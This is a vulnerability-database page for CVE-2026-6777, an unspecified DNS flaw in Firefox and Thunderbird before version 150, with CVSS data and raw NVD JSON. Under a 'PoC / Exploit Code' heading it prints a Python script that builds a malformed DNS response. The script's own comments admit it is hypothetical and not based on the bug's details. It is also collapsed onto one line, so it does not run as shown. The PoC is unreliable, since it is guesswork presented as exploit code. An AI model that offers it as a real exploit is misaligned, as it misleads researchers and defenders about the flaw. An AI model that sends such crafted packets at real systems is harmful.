Security Vulnerability Report
中文
CVE-2026-6777 CVSS 5.3 MEDIUM

CVE-2026-6777

Published: 2026-04-21 13:16:23
Last Modified: 2026-04-22 15:08:29

Description

Other issue in the Networking: DNS component. This vulnerability was fixed in Firefox 150 and Thunderbird 150.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:mozilla:firefox:*:*:*:*:-:*:*:* - VULNERABLE
cpe:2.3:a:mozilla:thunderbird:*:*:*:*:*:*:*:* - VULNERABLE
Firefox < 150
Thunderbird < 150

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Conceptual PoC for CVE-2026-6777 # This script demonstrates a crafted DNS response that may trigger the vulnerability. # Note: Actual exploitation requires specific payload details based on the bug. import socket import struct def create_malformed_dns_response(): # DNS Header: ID=0x1337, Flags=Response, Opcode=0, AA=0, TC=0, RD=0, RA=1, Z=0, RCODE=0 # Query Count=0, Answer Count=1, Authority Count=0, Additional Count=0 header = struct.pack("!HHHHHH", 0x1337, 0x8180, 0, 1, 0, 0) # Question section is empty (0 count) # Answer section: Malformed pointer or length to trigger the parsing issue # This is a hypothetical representation answer_name = b"\xc0\x0c" # Pointer to offset 12 (start of name) answer_type = struct.pack("!H", 1) # Type A answer_class = struct.pack("!H", 1) # Class IN answer_ttl = struct.pack("!I", 3600) answer_len = struct.pack("!H", 0) # Zero length data might cause issues in some parsers answer_data = b"" packet = header + answer_name + answer_type + answer_class + answer_ttl + answer_len + answer_data return packet print("[*] Generated malformed DNS packet for testing purposes.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-6777", "sourceIdentifier": "[email protected]", "published": "2026-04-21T13:16:23.430", "lastModified": "2026-04-22T15:08:29.453", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Other issue in the Networking: DNS component. This vulnerability was fixed in Firefox 150 and Thunderbird 150."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}, {"lang": "en", "value": "CWE-352"}, {"lang": "en", "value": "CWE-400"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:firefox:*:*:*:*:-:*:*:*", "versionEndExcluding": "150.0", "matchCriteriaId": "67B01D49-66FA-4C76-9EB4-2B8CD61FBEB2"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:thunderbird:*:*:*:*:*:*:*:*", "versionEndExcluding": "150.0", "matchCriteriaId": "4C81F2D4-C004-4354-B3E2-E3F407DAB22A"}]}]}], "references": [{"url": "https://bugzilla.mozilla.org/show_bug.cgi?id=2022726", "source": "[email protected]", "tags": ["Permissions Required"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-30/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-33/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}